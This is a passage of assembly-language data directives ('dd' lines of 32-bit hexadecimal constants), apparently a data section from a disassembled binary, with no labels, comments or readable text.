0D06AE084h, 0B70024DDh, 0D9806BF9h, 9221EFD1h, 26089240h dd 84B0EAECh, 8818B063h, 900514A0h, 0EE808BDh, 61B4EA82h dd 8F11FF6Ch, 8E50FDBAh, 0C0400CA9h, 0D6A24BFEh, 833F0025h dd 0E3B2FB0Eh, 3E0C09E4h, 79DB77B0h, 0A7EA34F4h, 0C8F8CBDEh dd 0FB9AC020h, 0C94E82Bh, 0F54B541Dh, 0EDE08082h, 0B03B2176h dd 1AC461Ch, 0DDC02E8Ch, 0B0CDAF5h, 943188h, 0C024252Eh dd 58A16C7Bh, 2548EB48h, 0D8F88741h, 425B7CC2h, 0C9840220h dd 92BF20FCh, 592A3624h, 6D09E08Ch, 20E71C71h, 0B3EF2068h dd 4AAA80A3h, 10E2DF04h, 0D0B246E0h, 0CD3062F2h, 6533001Ah dd 0BC2CCF99h, 70E3F823h, 49EB2B0h, 76465Ch, 0E9537E2Dh dd 13E2DB99h, 200DC2D2h, 0F00A616Ch, 83F0500h, 9BEDA2DDh dd 9ADB02C3h, 59A453DAh, 80858884h, 6EEAE3D4h, 2C91DC90h dd 1744F820h, 697A313Dh, 94D78679h, 2EE051B8h, 99099C2Fh dd 83786818h, 585C39E7h, 253EA080h, 94AA07C4h, 0AB527D05h dd 0B441AD41h, 0ECD4C165h, 0F8025063h, 0F54853D7h, 4AF48880h dd 8514BF92h, 9FD8614Eh, 1C9B3041h, 78AC867Dh, 72D618Ch dd 837BDCE8h, 7A463005h, 0BCB2FBE4h, 453056E2h, 77D11332h dd 0EF342C70h, 29EE8D02h, 59D79098h, 848021D8h, 8075ADE4h dd 0DA26F317h, 154F6400h, 0EED28E13h, 0DBF50591h, 16F97D4h dd 0BD3B22A0h, 34698F3Eh, 7CE660D2h, 0E54A84h, 9E0FB86Ah dd 7677C1F2h, 2293F69h, 50EDD81Ch, 2BFD0BE8h, 60A26D94h dd 0E48A3063h, 80981128h, 0EDA7024Ch, 58489636h, 201A4A6h dd 0BF5E9319h, 74388935h, 8C70B8h, 0E7541CA4h, 0C928CA47h dd 554D2D04h, 48E46BD8h, 16F372BEh, 0C2FD97CBh, 547A4104h dd 5302F7FAh, 0E4BBCB4h, 67F8C06Ah, 349612BBh, 9F5070ECh dd 0B09A9920h, 188FB525h, 540E6DB8h, 77FF8462h, 0E86518DDh dd 9706903h, 2E678B00h, 4BAF8C46h, 0D55F07B3h, 70C06C81h dd 50E391E7h, 669B1D00h, 0BE093F3Ch, 0B378013Bh, 0DA17E960h dd 36C8D018h, 2586F700h, 0CC359875h, 1FF678EDh, 3D8F8041h dd 0B0B77280h, 0A8BFDEAh, 0BE013F00h, 2AF4A333h, 71E61F1Eh dd 31CDC0Fh, 0DA527B5Fh, 1927B9A0h, 4A768B00h, 0F3673CC2h dd 709728C6h, 0C01824F0h, 85220078h, 64D4D863h, 3042DC96h dd 6C5901FFh, 5422D208h, 0E8E461h, 0BA91C51Fh, 0C68D62BEh dd 20E9D12Ch, 0C43F234Bh, 0DD3909F5h, 542F7434h, 4D3BE8E1h dd 0EC51D6D7h, 96180979h, 0A86D9800h, 0C973F3F1h, 106213B2h dd 0C09C9B3Fh, 0D7C525CCh, 443F30E1h, 6BC3EF98h, 78B04D67h dd 240E80Eh, 650476F7h, 0E758EC59h, 723F8664h, 0C7C883EAh dd 4C1FE3D1h, 96C19CD1h, 0C48D2D9Dh, 56004014h, 37751BF6h dd 99AA310h, 6498D754h, 44625C65h, 59211865h, 0D08C6107h dd 0A3A0A1F8h, 0A8F13413h, 0EA30FAB8h, 0E7563DE4h, 7BE8D4C8h dd 412008Ch, 0C281723h, 98A02A6Ch, 0B58047BFh, 862D1369h dd 444C20BCh, 0B1002523h, 39AE37Ch, 972CBDh, 77DA4E21h dd 0DC1FEABh, 30905B54h, 27C73701h, 86454064h, 5733CC41h dd 51DF2000h, 2A24240h, 6F92E3E9h, 7C78FB48h, 0A9C01877h dd 5680CB03h, 3F2F00CDh, 0D552F141h, 0FD0CD04Ah, 504527C3h dd 0E8EB6508h, 0B75C98DBh, 6CD02041h, 0FC165834h, 43FAD584h dd 585CE3D2h, 255AE0B1h, 0C88CCA68h, 8020C755h, 0BA545FF5h dd 0EA86C18h, 35D7EB70h, 0CDD9FFB8h, 88084B04h, 90A6C043h dd 77071696h, 37E897B9h, 7570DB3h, 0C87647C1h, 0C290C052h dd 54131107h, 84D00CD4h, 5B8ACCh, 0BD469658h, 1827E578h dd 4800F972h, 4F2E4C07h, 0AA215A0h, 4D7353EAh, 0F5D80588h dd 0A4D40151h, 2D0D9D99h, 1F4007Ch, 0F64746B0h, 0E5040A16h dd 3DB03842h, 58E4D289h, 58965046h, 0E549902Eh, 6062E4CCh dd 43A6E11h, 0E2B386CCh, 59D0A47Bh, 6573221Dh, 200BF500h dd 0F8BAF2AAh, 2BAB0E8Fh, 3B0577F9h, 0BB0B7A0h, 402BF1D8h dd 3B0FF324h, 2814EDBFh, 7727D8D2h, 0B9435C20h, 0A601814Fh dd 2AD90B37h, 0A1E4E8EEh, 0DE0902A2h, 68EF2FD3h, 0DB06BCC4h dd 0ECF0BFEDh, 0D810EF49h, 8401259Ch, 342A9AC4h, 75F8D0C7h dd 4DB4CE6Ch, 0DBB2B8E2h, 73083041h, 314CA25Ch, 0E00C70FAh dd 743E6520h, 0D4620E54h, 854084C0h, 69DBC7B2h, 98B09C90h dd 70A37104h, 0ECB9F24Ah, 447C0509h, 0B9DFEC50h, 0D8BF9303h dd 8BD04ADBh, 0C055C838h, 0A77D5F70h, 1947BD30h, 12B23A71h dd 0A2C025DAh, 3070F248h, 0E35077B1h, 7B2DD728h, 2A9484E0h dd 3481EC84h, 8405A399h, 0AC4084D4h, 43E9EC7Ch, 84B70964h dd 0F47140h, 0E7B2959Bh, 524CC626h, 90FC222Ch, 809BF8A4h dd 0FB481337h, 0C97C0D4h, 6AAC9Fh, 52A89A83h, 0B6625A16h dd 48783E25h, 99A21EA4h, 184CD144h, 33712574h, 79E4B045h dd 57D1DC60h, 2BADAC01h, 290C3C9Ah, 661E470h, 6BD5C9DDh dd 0CB02CB4h, 4DA20B6h, 0BE6062B0h, 78178FAFh, 30CA1697h dd 0AFB6B902h, 97E2087Dh, 244BE818h, 441F94Bh, 0D49E5B31h dd 0F2EB99CCh, 778F0DE2h, 0D93157D7h, 635180CFh, 8005410Dh dd 760B00FFh, 0A984296Ah, 0AA0199D1h, 44FB5DD2h, 60768F49h dd 0A32E9105h, 0A25CC5DDh, 9934804Ch, 12C282Eh, 0FD123E1Dh dd 46AF42Bh, 0EC84EC9Ah, 0FCFF3064h, 48B8EA92h, 9804B0DAh dd 0D80CEAD2h, 0F09CE1A0h, 90F86669h, 9E5C9AACh, 46734008h dd 0F7005B16h, 0B756AB15h, 0B80B397h, 0BF1C4C5Dh, 7727A444h dd 0E88049D9h, 3E4DCE9h, 6FEA1389h, 0DFE8C040h, 78B93B22h dd 0B00FEA0h, 25E47416h, 91F9E2h, 3D442A59h, 877B025Bh dd 43F32027h, 18A9A6B4h, 0A1D37AEDh, 0CA00D076h, 3F526FF1h dd 0F9FAFC3h, 0F05FD1B9h, 0C07C3944h, 0E9EEE848h, 1BA472Dh dd 86C2D924h, 148212D9h, 85BF8378h, 5C444CC4h, 0AC7C0118h dd 876311FFh, 62984401h, 0A05ABDA8h, 0BC4AD600h, 0BAC327F5h dd 86A40589h, 8443394Dh, 0BB1CB054h, 1223E28Ch, 0F2A6D84Dh dd 907FC0ACh, 0FA490123h, 715B6F0Ch, 0F6466C80h, 0A4020B6Fh dd 17E85584h, 0F99C4877h, 173AF831h, 0E429FCh, 18EAD6A0h dd 0D3B8D92Dh, 0A057E13h, 0F86F8402h, 0E9C880D7h, 45F380C0h dd 0CBB845B6h, 6543846Ch, 0E9785C30h, 6B059CB8h, 66125AECh dd 568880CFh, 0ED60CEC1h, 4BA49FC4h, 0C38D3D0h, 76233E8Ch dd 71796830h, 0FED299Ah, 0A4172FA8h, 50804B91h, 7F5EC90h dd 16D14D39h, 9405A75Ch, 0CC9A5FDh, 46E0E3DDh, 134B118h dd 9FADF24Bh, 8F56F4A2h, 53A51401h, 6155680Dh, 0A778403Eh dd 1E93044Eh, 3C405000h, 0B1F2D07Eh, 251901FAh, 4D1D4A3Eh dd 47278h, 0B22963E4h, 56519Bh, 0D37C17CEh, 6B980621h dd 0AB029E71h, 8B78E3BCh dd 79D4D9F5h, 0B8641853h, 9D2F73CCh, 4C53009h, 82607BC4h dd 9C1FEBA5h, 0BB42DD03h, 0DABC3A66h, 0A08B036Ch, 0B5C22709h dd 0ABF1A8E8h, 0C7265028h, 4A5D8C27h, 8F876FCh, 0B218534Bh dd 4E6FE940h, 624C358h, 0D6F3500Bh, 0BFD020E3h, 2FACC267h dd 0FC0E4A86h, 0B41437C8h, 89C717D4h, 678FE000h, 0C0D374A2h dd 6F2EC148h, 1091FB55h, 0CC194C79h, 0DE0599E9h, 8B07C9E0h dd 8F240B2h, 17A130h, 0B9FB0EBEh, 0D937BA56h, 89C83412h dd 44B1E8E3h, 1B50C65h, 0CCF5312Fh, 201A0106h, 0D9381D35h dd 9856A82Ch, 0F128B077h, 7427B0A1h, 0E66041AFh, 6465FA12h dd 0E2604BE4h, 93006897h, 51BA711Bh, 99184BB6h, 0C095015Ch dd 0CC017CD5h, 0C81E696Dh, 4FC721E3h, 3450AD23h, 4FC99136h dd 0C8D88BC0h, 8EBC021h, 709A6878h, 0CB32F0EAh, 6DACE0A2h dd 61A44404h, 34F8B0CFh, 0FEEC09C9h, 0CC19A67Ah, 96FADCC8h dd 6890200h, 24471F6Bh, 0B15E0083h, 2563A4D0h, 0E4A73B71h dd 1864D542h, 2B02058h, 0D0E2EB09h, 772448ACh, 2429C0DCh dd 0BD957F3Dh, 0DA53C300h, 0C09CEE06h, 2B52004Ch, 1B80D281h dd 414E4BC7h, 5E90A411h, 1C722C6Eh, 9FE1389Bh, 0C0BC1E1Fh dd 0E7A1309Fh, 49783348h, 80F05409h, 0D9C0F17Eh, 0ED1807h dd 5413C167h, 0D951505h, 80D82EB5h, 2AB9F70h, 4DF802ACh dd 0C21CF55h, 465E205Eh, 242E7507h, 4A1D6CCEh, 0DD8B59C0h dd 0A276082Ch, 3FF8F194h, 0DC991B00h, 5AC81521h, 0D637770Ah dd 0D0804CBFh, 98319703h, 32050F75h, 9768AC9h, 88455A4h dd 0C04941F4h, 8F20DBF3h, 75EB12F9h, 6044C831h, 7490589Ah dd 646EAD26h, 0C37D183Eh, 43FBF41h, 638B2E09h, 0D21CB4DBh dd 80ECE65Ch, 0B47C1275h, 0C0A60270h, 0FCF0896Dh, 0A4D9C059h dd 9A00DA18h, 0E187FA9Ch, 33CFB80h, 6FEF07E9h, 0A02D79FEh dd 0EE10AF77h, 3152E02Dh, 27471573h, 0B8C4B4E2h, 0B0495100h dd 1E5F4072h, 0EED73BF1h, 0EBBCDD05h, 7B80550h, 8450DB82h dd 0C03064E9h, 54015F22h, 5EAF5DBh, 0F7FC9EFBh, 72182ADFh dd 0A5F200A4h, 8E64D7B6h, 5A2E2326h, 1E01AB5Dh, 99389432h dd 0B99B4170h, 0AC654920h, 0C260A464h, 8701639Bh, 0A9B1CDB8h dd 202E3E51h, 189F9354h, 0B410FA42h, 480D25DCh, 0F4035A7Ch dd 0C8C70062h, 0FA16AD3Bh, 0DF00A76Bh, 7DC2F869h, 3BF7327Ch dd 6592DAEEh, 8850CB3Eh, 0F83CC021h, 0E83B3870h, 13DC480Fh dd 3CA6FBA3h, 5593CFB0h, 28D4507h, 0B296E1D8h, 103C0150h dd 58ED198Fh, 75C44865h, 2449DE4Bh, 48487A77h, 0CB3D2BEDh dd 0B325D180h, 4A1050A0h, 5B51DB01h, 0EF7C4BD8h, 0F860F9EDh dd 0D800953Ch, 62E85444h, 67C6DE2Dh, 652244F8h, 76888E82h dd 0DAB808A8h, 90D07712h, 7571E0h, 0DC5CE7C6h, 7BEE082Fh dd 98D7020Fh, 0E9F8E19Ch, 0C694C33h, 0BFB20C3Bh, 0D45CBD61h dd 44EA8D80h, 2C9F843h, 5D0750CEh, 0ADE0DE0Bh, 263B2ECAh dd 0DAE500C3h, 94584096h, 4420B517h, 285C75BFh, 2FDEE2Fh dd 9FDFACh, 70D3C4DDh, 978AB8BCh, 0CB1E0C56h, 594708A1h dd 53316F46h, 44EFC39h, 654541E4h, 76F8F804h, 6E5B48DAh dd 0D18E02C4h, 80C2C3CDh, 4D0D4CB8h, 23D909F2h, 18E146E0h dd 0B8406BBDh, 0C70DE806h, 90E700E3h, 3554253h, 6000EE48h dd 2E7AFC3Ch, 76976CDFh, 0D13CB1CBh, 631809h, 7FB920E2h dd 0EF42B025h, 6CB3D304h, 3880FCCCh, 8A0CBFEDh, 0CC104042h dd 0DA0D5286h, 51DC74E5h, 519BDFF0h, 0AFE040F7h, 63B8304Ch dd 0D4D784D8h, 0C04F0728h, 4EBAAA00h, 0B6E3C08Fh, 8B081C3Dh dd 382258BDh, 0BA169091h, 28409662h, 2DE599A5h, 77950C7Ch dd 3D61E171h, 28A24A00h, 758D2742h, 0A18F058Ah, 40A9C463h dd 6CBA66E4h, 41040342h, 478DDA08h, 781EB8ECh, 4F2E62h dd 63D5F2D7h, 0FF749D68h, 18088063h, 0AC22906Fh, 74A090D7h dd 0EE560078h, 6EA910B0h, 0DA02F02Eh, 0EDAAE220h, 0F39D80F9h dd 1836A219h, 105BFC7Ah, 25008641h, 0F0DFD263h, 5A67663Dh dd 8ACC072h, 0A200C18Eh, 136DEA4Dh, 145FB1F3h, 84490534h dd 61BD800h, 9E879D52h, 939BA900h, 9A6244FFh, 0F514E8BBh dd 947C1188h, 0AEB896C0h, 91B3443Fh, 30A8BB1Ah, 7A54F441h dd 0F8D8A6C2h, 542E6BE7h, 8900A423h, 779BC733h, 918A0B0Fh dd 0CC87845h, 4F90A508h, 0B8406201h, 0FAD7D9CAh, 32D320h dd 4F1A5ADBh, 0DBE7B86h, 0AD38A0BDh, 191B4FAh, 0D5E6EF33h dd 0C48F44B9h, 950037BEh, 0A0AAAB84h, 7BCF4A3Ah, 655041Dh dd 98DBE17Ch, 979DB4E4h, 817F1134h, 5B6D7E6h, 30632DD9h dd 6D300EA2h, 2FAA0074h, 0D2546F8Ah, 21DD14E1h, 884010EDh dd 83F10702h, 8CB182h, 0A76651ABh, 96BD9900h, 1DE862E7h dd 0BEBCB8E3h, 51108068h, 3E4DCB80h, 927C4Ah, 0A47A33h dd 6E581D6Ah, 85CA5FAFh, 27366313h, 7CF2B8B2h, 0B6230h dd 170C0445h, 0B2CF61B5h, 80E4B597h, 97E190E9h, 874EC0BFh dd 48CE18C9h, 149ACAh, 0B0E5A6BAh, 3B5F7D50h, 0BF39ABEEh dd 55798E77h, 60E7402Eh, 0F8E95CD3h, 3FA77BDEh, 0E0076F13h dd 12D8E878h, 487166B5h, 8B180C79h, 9A556307h, 260152C6h dd 2E2B3D13h, 0D23DCh, 7B9FD5CCh, 0BC13FF21h, 4808A5E5h dd 68B7AFACh, 0BDB75000h, 1680B6B8h, 8876A57Dh, 7C073B8Ch dd 4EACF685h, 90E0C8D0h, 0DBD90050h, 82915EBCh, 7C5C92A3h dd 78EB165Bh, 3C306816h, 0E82E1FCh, 75AFB66Eh, 0F0501804h dd 6F131784h, 0B804D44Ah, 24E322C5h, 6E3050B2h, 93D30E0Ah dd 81E5BC5Ch, 75A8B0DDh, 65005842h, 3AC0521Bh, 0E0092D56h dd 0E7F53418h, 607D64C8h, 18DBC5h, 4AFE61D7h, 8BB940Ah dd 0A0175227h, 2CBD56DCh, 0F116006Ch, 540AA177h, 37001DFAh dd 8D78D94Dh, 5A7FFD7h, 0E5BD0185h, 8AE4046Ah, 0EF08076Bh dd 4A77FBE1h, 56E8342Ch, 820C018Ch, 0EDBD0367h, 4D18AD1Eh dd 0F5CEC07Ch, 0F30CB533h, 0E171187Dh, 3D73A17h, 6680D23Fh dd 0D05FC53Fh, 0E5048583h, 76C2E59h, 51C48Ch, 298DD827h dd 26D4AF67h, 0BDF0E509h, 214F07Fh, 3DFE1A7Dh, 0AC66DE7Ch dd 7C7180B1h, 973F5D18h, 272CC885h, 3DEC22DEh, 0E8FA79h dd 1D0B541Ah, 0C0A5E189h, 0CCD00D4Ah, 79B2ACC8h, 0C9450E98h dd 5CEFD8D5h, 0B45F8D23h, 542A25D0h, 0A786E03Eh, 11C41DB5h dd 0A837800Eh, 732A3497h, 3308116Fh, 0FAB04F5Bh, 0ADA8A0E9h dd 198C6B0Dh, 97978D9h, 0B2009B18h, 65973D43h, 25CBF76Fh dd 8907BDFh, 5D3CC872h, 8A053821h, 0C0FB1A6Eh, 4BEF5708h dd 5F4F5CEDh, 3E4532C1h, 0AFD89E0Ah, 0DC90B719h, 6803EBB9h dd 756AB5EEh, 13B798DEh, 0EF6C3818h, 0D62CD91Eh, 68FCC294h dd 0BA530527h, 2440ED89h, 843631B8h, 0F95C00EEh, 0AB108622h dd 0CEE474E1h, 652CDD11h, 0AD0CBF12h, 0C8F1000Ch, 0F9C93342h dd 1E0E0092h, 75BA27D5h, 3D0A1779h, 0EFC0BBACh, 88120116h dd 5330F4h, 0A3AF2195h, 2C566799h, 87837F26h, 16CDF700h dd 209DE9Bh, 0C42108Bh, 9CC0B46Ch, 7580F67Dh, 88414F74h dd 28461DCh, 184BBC55h, 0CCF3BAE4h, 9B3F78h, 3D66E949h dd 937BDA55h, 0B751E369h, 52CB01C8h, 3C510CF6h, 1FB2288h dd 0A041C236h, 23A48645h, 874407ECh, 807B3C32h, 0FA20D2Eh dd 4DCD0024h, 7801955Bh, 0FB4D1077h, 1C8CB860h, 828B523Ch dd 0DB7641DAh, 0D50007Eh dd 0A5C10059h, 3E55F38Dh, 1000AA20h, 0D786BE6Fh, 14EB994Ah dd 0B095E01Ch, 8C79E8h, 0F8887C2Bh, 0E3C8D4A8h, 546C961Fh dd 5DDCC86Dh, 8D131E75h, 419BC076h, 0F98267Bh, 32D61F07h dd 0B3D746A6h, 5D3484F9h, 0EC210441h, 91BAE83Ah, 0E03D75F4h dd 0E510256Eh, 6053E434h, 0A416F24Ch, 343300E4h, 0EE36CFECh dd 0CB00A347h, 9812A830h, 4C685CB6h, 4C1680DBh, 9813BA86h dd 19F24F4h, 6F3AEF5Fh, 0C8931661h, 250031B3h, 4F65CBAh dd 3D85286h, 3E541F70h, 390263ADh, 8F01D788h, 8734740Ch dd 61FF67E2h, 0EC328D3Fh, 680150A7h, 0C0E84DEFh, 0CEFDB518h dd 168C206Ah, 55CDF8Ch, 75DD04C0h, 0AB83D0A6h, 9178C08Dh dd 0C0B7975Ch, 0D2E95D02h, 447C56ECh, 19D481D4h, 8C2F2E44h dd 9C01E723h, 0CCB15428h, 0F0009073h, 152B72FAh, 3D002F05h dd 587EC363h, 17986E4h, 0F75B46CBh, 894A345Fh, 68D863F1h dd 0A092D220h, 91D4E850h, 0D87789E0h, 3643A871h, 404B8AE5h dd 3B4C0E2h, 8556EF8Bh, 1FA89FEAh, 0BF17E9E6h, 1C004E74h dd 78E85373h, 66C62D86h, 80FC6C44h, 807117Dh, 5D144D4Bh dd 8F16CBE0h, 25662C37h, 68AA6014h, 0C601FE23h, 785DBF0Fh dd 8061DCE8h, 7B24C33h, 1502530h, 4570C157h, 6885BA88h dd 8C0DBC2Ch, 0A1E2D400h, 3E35F176h, 0D8909754h, 0A02CC4D7h dd 0D18300EDh, 0E47836h, 0EFE56CD1h, 1A26A672h, 0CD17137Dh dd 0A8C80255h, 0C06C01BDh, 0E1D335E6h, 5091E0AEh, 717B2E00h dd 995B0AC4h, 8B132186h, 0DF180ED1h, 0D7981E00h, 6E55282Bh dd 0D0DC12E0h, 220CADB5h, 0CBB44FBAh, 0C0788824h, 951CD971h dd 93BD923Fh, 54F24684h, 37C6E804h, 0B84CAF29h, 3A337972h dd 2F4E2040h, 0D2344h, 5A5638B1h, 482EBE72h, 1962B418h dd 9007AA0h, 0B68024E6h, 0DA5E9380h, 0A49CE923h, 18F4DD12h dd 0FFF40992h, 700081ADh, 0C3DA0453h, 5B29EF63h, 71A2F04Ch dd 861200D7h, 2541F031h, 7BF2F3EAh, 0F80BE144h, 92204D9h dd 8C66E3B1h, 592F2358h, 86142077h, 0B3DEB5Fh, 47155A8h dd 0E7C4DCE5h, 0C5E51460h, 0D1CA7C09h, 406C79E4h, 18D4998Dh dd 0B05551Fh, 0DC3AC9C7h, 2BF1A627h, 29804DBCh, 0BE172D43h dd 940789C5h, 0D3EE58CEh, 232FEC50h, 0A04809ADh, 7C68D2E3h dd 0A8004CC9h, 6AAC7BB6h, 131CE5C8h, 181CDB2h, 4A3DF8BDh dd 0D2EBC81Ah, 80CCEE4Ch, 6F4F5F75h, 0A0820647h, 188CAE2Ah dd 802F5202h, 78B2A7ABh, 17BF05A8h, 0C06C2C94h, 90E93FA5h dd 804AB33Fh, 8DB1E599h, 0F84C8C38h, 65080036h, 0B377C240h dd 0E500C009h, 9A44CCD2h, 2866E728h, 0E2AC751Ch, 55CB1B50h dd 0A3FF1004h, 48E889FCh, 8C0029F0h, 0A13354BBh, 7DE3C9EBh dd 30AD0552h, 8010575Dh, 4596121Bh, 0C0CCF85Ch, 0B538209Fh dd 0B9435C4Fh, 3DF75507h, 62F6016h, 1801645Dh, 5E1CEC72h dd 99E41F8Dh, 0B4EA4BD2h, 780D7430h, 3E97A439h, 0BD03A032h dd 88082E63h, 0B8A0A2AAh, 70E815FBh, 0F31C32EAh, 6A042E52h dd 5CE0DEBDh, 0C46D0029h, 6FEBD64Fh, 0E20042F3h, 0A2541371h dd 0FC0199Eh, 43EE17B8h, 42C66FC2h, 5D049Dh, 0E2E4D833h dd 2C305BC7h, 0F8A91963h, 90C0004Bh, 9FE7EE5Fh, 260045CFh dd 9C22B529h, 1BC8187h, 9E32A36Fh, 81AF17FDh, 28330451h dd 35E8DDDCh, 0F44D008Ah, 1AA703CBh, 1607A683h, 0B3BA77BCh dd 6C81FD20h, 73CF00D8h, 0F5DF5BCEh, 0D3013439h, 38FAAC4Eh dd 777089B6h, 0BBD80021h, 92E26974h, 0AE1499E5h, 0E648853h dd 87B98AECh, 8D80D53Eh, 7CB5B272h, 419307FDh, 11D0115Ah dd 0BC15856Fh, 0B8338CB0h, 194368D6h, 0D072FC24h, 0E3EC11BFh dd 0CD1C4E0h, 66D975B3h, 2600F668h, 0DA8AEBDCh, 7E9D0F0h dd 725B2768h, 0C211ECEAh, 8D32E001h, 0E4210833h, 782AAC40h dd 0F3DF2C5Ch, 0AD420610h, 810069B8h, 92EF1B41h, 13C03DBAh dd 61F1Ah, 45A66B17h, 0B8C4B71Ch, 5C009B6Ah, 5809EC33h dd 14D5AC3Eh, 0AA4A89Ah, 0C03D8914h, 64BFAA00h, 0CEB5C0h dd 0D5C7EB4Fh, 3F83A8D3h, 2465FD00h, 0E145D2B2h, 3E90070h dd 5212A0CBh, 3809B8D9h, 80A6E374h, 604E93B4h, 1E3F94Ah dd 28662318h, 5E681B0Ch, 144D0820h, 3CF73A8Ah, 0E69D139Dh dd 0D1D5Dh, 0A18DAB99h, 4E7C0F9Ch, 160001F4h, 3FD660CCh dd 838F817h, 139DCAC8h, 0A8810873h, 1421EA59h, 0BA255500h dd 7C7616D5h, 73D471A8h, 9588000Eh, 0A1747F5Dh, 874C91A5h dd 461002CEh, 0AC127263h, 0A8D30834h, 8D6A1980h, 7CA0C8h dd 6A0948ABh, 83FF5BC6h, 530926F6h, 183D2486h, 605114D4h dd 290E1059h, 0AC035C7Bh, 7A165275h, 97D8B142h, 7E141020h dd 6817069Ch, 29792707h, 8E118642h, 1F402199h, 9A79A245h dd 8B60C488h, 776C218Ch, 0E108E12h, 85889A4h, 0A2664431h dd 4CEB2284h, 225BEC22h, 0D6445499h, 0FD9100B4h, 0CA5B1C48h dd 8006A32h, 0F4B7DDE3h, 322AA98h, 4AFDEEAFh, 93E8C7CBh dd 4D07A50Dh, 0FF31C52Dh, 0C9EDBCC0h, 0D8660097h, 0AB590F7Fh dd 0A6399CEAh, 0C2320113h, 0DB926869h, 118019BFh, 4496AEC0h dd 4930914Bh, 0C31D50A6h, 436B00F3h, 9978DD93h, 831DA7F7h dd 95C0A47Fh, 39A531F1h, 29D65CDFh, 0E741FB00h, 0A9B77135h dd 29B5C300h, 499BBA86h, 0E9A400A2h, 0D3A02F80h, 0D900A6EDh dd 0C1870E22h, 0F85AD0h, 0EC5B6C74h, 0F4AC1720h, 0CB1A6A00h dd 0AE464E2h, 0F7EADBh, 8F4FA42Bh, 0F39B22ACh, 19EC5E03h dd 0B80D4CABh, 769F69h, 0D09553A1h, 1A2DE7BCh, 78440218h dd 38949311h, 9500637Bh, 1BB2E137h, 0F7008B88h, 794155F6h dd 0A053DE4Ah, 73FB6F86h, 1CE6001Ah, 468A2DECh, 0B00092Bh dd 92AABAA6h, 0FF6A4F8h, 1D58646Ch, 0C0C22340h, 0BD0FD968h dd 815ED889h, 0ABA39C04h, 2C96020h, 0A5139B4Ch, 0C340F631h dd 0E2007AF8h, 0A8A3ECAFh, 0BB61C3h, 1BFC8E0Dh, 8D7AA6Ah dd 0D12A7003h, 8138B065h, 7AEC61B7h, 0E680040h, 16EA32A5h dd 14004A29h, 0C08EE51Fh, 932452h, 35ED51DFh, 0FCCDFBAEh dd 23DB9100h, 4B759C8Eh, 85F739CAh, 0E9C64300h, 82ABB481h dd 0BAA04C09h, 0C04E0FE7h, 0BD2B7A8Ah, 0EC590043h, 0DFC65D83h dd 48004DBAh, 17D4F7Ch, 7387BD8Bh, 10D7597Fh, 0DF196800h dd 49437B41h, 0E000348h, 0C01D3E69h, 0E7B9DBD4h, 0E35B01E4h dd 64F9BD1Ah, 4B2DEC38h, 8CC3B307h, 5420A140h, 0F0634Ah dd 4530AAB2h, 904BF6A7h, 87CFBB3Ah, 86890B7Fh, 6D6C3D41h dd 6E87880h, 0A284A8B6h, 3EF7163Dh, 691280C7h, 33B9CC1Fh dd 0A7783F8Dh, 0C0039D9Eh, 2B5E7FF5h, 0A30F0CF1h, 808476DFh dd 0E93534D7h, 0E38E0199h, 0F3CA2DB5h, 0D0D8409Bh, 15E4948Bh dd 6E6D1B01h, 0B9D12947h, 3A9E89FCh, 0FF002755h, 9C981EA4h dd 7E059DC0h, 0D7CF4785h, 3384D600h, 0AED3D2h, 997F59CEh dd 7796679Dh, 0E0AFC0CEh, 57173CF9h, 563600D6h, 93E19F34h dd 4E02A4F0h, 11EAB4EEh, 0E767C047h, 0A109018Fh, 97C3F951h dd 0E9B8F013h, 6972ED00h, 5D2B93E4h, 0F090A9h, 14490F52h dd 0B9251B64h, 91FD5800h, 0FABE1072h, 320A0ECDh, 7F809E4Dh dd 29E9AEB0h, 0E4A75EF0h, 1CEC6680h, 1CDCF18h, 0C6A94086h dd 20EBF54Ah, 8059528h, 2C27DDBCh, 1951D004h, 0FDA8A740h dd 0F200AEBFh, 0A1036BDEh, 4D39ED10h, 0D60038CEh, 0FDFF60E8h dd 0C600C20Fh, 307A8BDCh dd 35D120Bh, 0E66757EEh, 2003E480h, 0D6086235h, 8B5AA830h dd 70C300AAh, 0B338A90Dh, 0F8606DA5h, 2A20828h, 7C9B0F65h dd 0E1202A68h, 19FB390Ah, 0ECA69103h, 0E0D42112h, 3F52606Eh dd 0F300859Fh, 97362F0Eh, 330703D6h, 7B8C5ABAh, 0E8EA46h dd 0D96C7693h, 47D5CD29h, 757AC100h, 437DF5ECh, 0FEF90041h dd 399B4A45h, 310C1EEBh, 225A658Fh, 213807B1h, 70FB8658h dd 9627185Ch, 114D7C00h, 0EF23D178h, 86A5009Dh, 792162A1h dd 751C664Ch, 1E825272h, 0C0555B81h, 0B8CC884h, 51A00892h dd 3DFC0020h, 0F000ECBBh, 0AD836F97h, 50DC01h, 0E8B02061h dd 0BF6B4C0Fh, 7CE9C75Ch, 90448800h, 592F5F0Dh, 9533D74h dd 0AE9EF700h, 68BD4C0Ch, 93E2251Fh, 92DD2687h, 242FB081h dd 645FA440h, 3A8200C4h, 798FBA9Eh, 6205FB28h, 89487F02h dd 0F0248Ch, 0C97D18C0h, 6D5CABEEh, 274E100h, 0ECE7A516h dd 4F0A0FD3h, 76A05514h, 0C58478A9h, 9D19D004h, 0C080E3D8h dd 9DEC6D3h, 156D18B7h, 8BF94800h, 0FF434FEh, 4DFF500h dd 61F2812Dh, 12803B54h, 8C139480h, 25D465F7h, 5652D502h dd 605D31B6h, 13606174h, 0A6CF8Eh, 1FAF3D8Ch, 0BB006FEEh dd 75E5A1F9h, 966D43h, 0D5AE0EBFh, 4E9FEB0Fh, 0DB6C005h dd 1888C780h, 0D48700A2h, 0C59E8DE1h, 8913F19Dh, 0BB00384Fh dd 0BAC302C7h, 55CA3CC4h, 37FA01Ch, 152B0428h, 1474B90h dd 7432C0Ah, 0C400EC5Ah, 7D649CF0h, 0D3E900B5h, 873A6047h dd 7AF6D558h, 0BD86AF00h, 0EC256C37h, 0A330F58Ah, 2AB20F77h dd 7C802EA2h, 42F79BB0h, 0A0B53C05h, 0EC020CAFh, 4418AA82h dd 0E82C00B8h, 0DCA6A2Fh, 6D00FCDDh, 7F53ED9Ch, 720420h dd 0EE8C15ADh, 25B6084Fh, 80984939h, 2EC857C5h, 3B0AFEBBh dd 0E600170Fh, 359E7B9Ah, 200DD60h, 0FC4F3063h, 0ABA8F5h dd 0CCDFEDFBh, 3C826570h, 0C0140B0Fh, 0A4A360DDh, 0F6BD8B9h dd 0F110AFFDh, 0B8890Ah, 5CF097D7h, 9C988B73h, 8E0EF0B0h dd 0A91D6F5Fh, 0F78803FDh, 66298070h, 9B6D000Dh, 0B899C7E8h dd 5C010F14h, 3D5E8BDAh, 0A0EBF14Fh, 